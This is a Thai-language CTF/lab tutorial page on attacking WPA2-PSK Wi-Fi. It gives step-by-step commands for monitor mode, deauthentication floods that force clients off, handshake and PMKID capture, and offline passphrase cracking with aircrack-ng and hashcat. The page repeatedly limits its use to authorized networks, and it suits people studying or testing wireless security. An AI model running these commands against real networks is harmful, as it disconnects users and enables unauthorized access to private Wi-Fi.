คลัง
wireless

WPA2

WPA2 เป็นมาตรฐานความปลอดภัย Wi-Fi ที่ใช้กันแพร่หลายที่สุด การโจมตี WPA2-PSK ในห้องแล็บ/CTF อาศัยการจับ 4-way handshake หรือ PMKID แล้ว crack offline เพื่อหา passphrase บทนี้อธิบายกลไก 4-way handshake, การโจมตีทั้งสองแบบ, และการ crack (เนื้อหาเพื่อทดสอบในเครือข่ายที่ได้รับอนุญาตเท่านั้น)

IntermediateAdvanced#wpa2#wireless#4-way-handshake#pmkid#aircrack#ctf

1. WPA2-PSK และ 4-way handshake

WPA2-PSK ยืนยันตัวตนด้วย Pre-Shared Key (รหัส Wi-Fi) ผ่านกระบวนการ 4-way handshake ที่แลกเปลี่ยน nonce และพิสูจน์ว่าทั้งสองฝ่ายรู้ PSK โดยไม่ส่งรหัสตรงๆ จุดสำคัญ: handshake มีข้อมูลพอให้ crack offline ได้ — ถ้าจับ handshake มาได้ ก็ลองเดา passphrase นอกเครือข่ายจนกว่าจะตรง

WPA2 4-way handshake
AP (router) Client M1: ANonce (จาก AP) M2: SNonce + MIC ← ข้อมูลสำคัญสำหรับ crack M3: GTK + MIC M4: ACK
เนื้อหานี้สำหรับทดสอบเครือข่ายของตัวเองหรือที่ได้รับอนุญาตเป็นลายลักษณ์อักษร (เช่น CTF, lab, pentest engagement) เท่านั้น — การโจมตี Wi-Fi ผู้อื่นผิดกฎหมาย

2. จับ handshake (วิธีคลาสสิก)

monitor mode + capture + deauthLinux
# เปิด monitor mode
sudo airmon-ng start wlan0           # ได้ wlan0mon
sudo airmon-ng check kill            # ปิด process ที่รบกวน

# สแกนหาเป้าหมาย (BSSID, channel)
sudo airodump-ng wlan0mon

# จับ handshake ของ AP เป้าหมาย (ระบุ channel + BSSID)
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon

# (อีก terminal) deauth เพื่อบังคับ client reconnect → เกิด handshake
sudo aireplay-ng --deauth 5 -a AA:BB:CC:DD:EE:FF wlan0mon
# รอจน airodump แสดง "WPA handshake: AA:BB:..." มุมขวาบน
deauth เตะ client ออกชั่วคราว → client เชื่อมใหม่ → จับ handshake ได้ (ดูหัวข้อ Handshake Analysis)

3. PMKID attack (ไม่ต้องมี client)

PMKID attack (clientless) ดึง PMKID จาก AP โดยตรงโดยไม่ต้องรอ client เชื่อมต่อ — AP บางรุ่นส่ง PMKID ใน frame แรก ทำให้ crack ได้โดยไม่ต้อง deauth/รอ handshake สะดวกกว่าเมื่อไม่มี client active

ดึง PMKID ด้วย hcxdumptoolLinux
# จับ PMKID/handshake (รูปแบบใหม่ใช้กับ hashcat ได้ตรง)
sudo hcxdumptool -i wlan0mon -o capture.pcapng --enable_status=1

# แปลงเป็น hash format ของ hashcat (mode 22000)
hcxpcapngtool -o hash.22000 capture.pcapng
# hash.22000 ใช้ crack ได้ทั้ง PMKID และ handshake
hashcat mode 22000 รวม PMKID + EAPOL ในรูปแบบเดียว เป็นมาตรฐานปัจจุบัน

4. Crack passphrase (offline)

aircrack-ng และ hashcatLinux
# aircrack-ng (ใช้ .cap จากวิธีคลาสสิก)
aircrack-ng -w rockyou.txt -b AA:BB:CC:DD:EE:FF capture-01.cap

# hashcat (mode 22000 — เร็วกว่ามากด้วย GPU)
hashcat -m 22000 hash.22000 rockyou.txt
# กับ rule
hashcat -m 22000 hash.22000 rockyou.txt -r best64.rule
# brute mask (เช่น 8 หลักตัวเลข)
hashcat -m 22000 hash.22000 -a 3 ?d?d?d?d?d?d?d?d
WPA2 มีขั้นต่ำ 8 ตัวอักษร → mask attack เดารหัสที่เป็น pattern (เบอร์โทร/วันเกิด) ได้ผลดี; GPU เร็วกว่า CPU มาก (ดูหัวข้อ Hashcat Workflow)

5. Quick Reference

  • WPA2-PSK: จับ 4-way handshake หรือ PMKID → crack offline
  • monitor: airmon-ng start wlan0; airodump-ng หาเป้า
  • จับ: airodump-ng -c CH --bssid BSSID -w cap + aireplay deauth
  • PMKID (ไม่ต้องมี client): hcxdumptool → hcxpcapngtool -o hash.22000
  • crack: aircrack-ng -w wordlist .cap / hashcat -m 22000
  • เฉพาะเครือข่ายที่ได้รับอนุญาต (CTF/lab/pentest)

🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ

สมมติโจทย์บอกว่า AP เป้าหมายเป็น WPA2 มีแค่เครื่อง Kali + wireless adapter — ทำตามนี้ทีละขั้น ตั้งแต่สแกนหาเป้าหมาย จนได้ passphrase ออกมา

  1. 1เปิด monitor mode: sudo airmon-ng check kill && sudo airmon-ng start wlan0
  2. 2สแกนหาเป้าหมาย: sudo airodump-ng wlan0mon — จด BSSID, CH ของ AP ที่โจทย์ระบุ
  3. 3ดูคอลัมน์ STATION ด้านล่าง — มี client (MAC) เชื่อมต่อ AP นี้อยู่ไหม
  4. 4ถ้ามี client: จับด้วย sudo airodump-ng -c CH --bssid BSSID -w cap wlan0mon แล้วยิง deauth อีก terminal: sudo aireplay-ng --deauth 5 -a BSSID wlan0mon
  5. 5ถ้าไม่มี client เลย: ลอง PMKID แทน sudo hcxdumptool -i wlan0mon -o capture.pcapng --enable_status=1
  6. 6แปลงผลที่ได้เป็น hashcat format: hcxpcapngtool -o hash.22000 capture.pcapng
  7. 7เช็คว่า hash.22000 มีข้อมูลจริง: cat hash.22000 — ควรเห็นบรรทัด WPA*01* หรือ WPA*02*
  8. 8crack: hashcat -m 22000 hash.22000 rockyou.txt (หรือ aircrack-ng -w rockyou.txt -b BSSID cap-01.cap)
  9. 9ถ้ายังไม่เจอ ไปต่อที่ Hashcat Workflow เพื่อลอง rule/mask
เจอ AP เป็น WPA2 — ทำอะไรก่อนหลัง
เปิด monitor mode + สแกนหาเป้าหมาย
airmon-ng start wlan0; airodump-ng wlan0mon
มี client (STATION) เชื่อมต่อ AP อยู่ตอนนี้ไหม
✅ มี client→ จับ handshake ด้วย deauth
❌ ไม่มี client เลย→ ลอง PMKID (ไม่ต้องมี client)
ดึง PMKID (clientless)
hcxdumptool -i wlan0mon -o capture.pcapng --enable_status=1
✅ ได้ PMKID→ แปลง hash แล้วไป crack
❌ ไม่ได้ทั้ง handshake และ PMKID→ ต้องรอ client ต่อจริง หรือ AP ไม่รองรับ PMKID (ลองใหม่ภายหลัง)
ขั้นตอน/งานเครื่องมือใน Kaliติดตั้งเพิ่ม (ถ้าไม่มี)เครื่องมือออนไลน์
เปิด monitor mode + สแกนairmon-ng, airodump-ng--
deauth บังคับ reconnectaireplay-ng--
PMKID (clientless)-apt install hcxtools hcxdumptool-
แปลงเป็น hashcat format-apt install hcxtools-
crack ด้วย wordlistaircrack-ng, hashcat-weakpass.com (wordlist ใหญ่)
เช็คว่าเคยมีคน crack SSID นี้แล้ว--wpa-sec.stanev.org
ดู EAPOL/PMKID frame ละเอียดwireshark-cyberchef.org
🚑 ถ้าตันสนิท ลองท่าถัดไป: Aircrack-ng — ถ้าอยากดูภาพรวมทั้งชุดเครื่องมือ/ตัวเลือกอื่นในการจับแพ็กเก็ต; Handshake Analysis — ถ้าไม่แน่ใจว่า capture ที่ได้ครบ/ถูกจริงไหม; Hashcat Workflow — เมื่อได้ hash แล้วแต่ crack ด้วย wordlist ธรรมดาไม่ผ่าน; WPA3 — ถ้า airodump แสดงว่า AP โฆษณาทั้ง WPA2+WPA3 (transition mode) มีช่องทางเพิ่มเติม

โน้ตของฉัน

ยังไม่มีโน้ตสำหรับหัวข้อนี้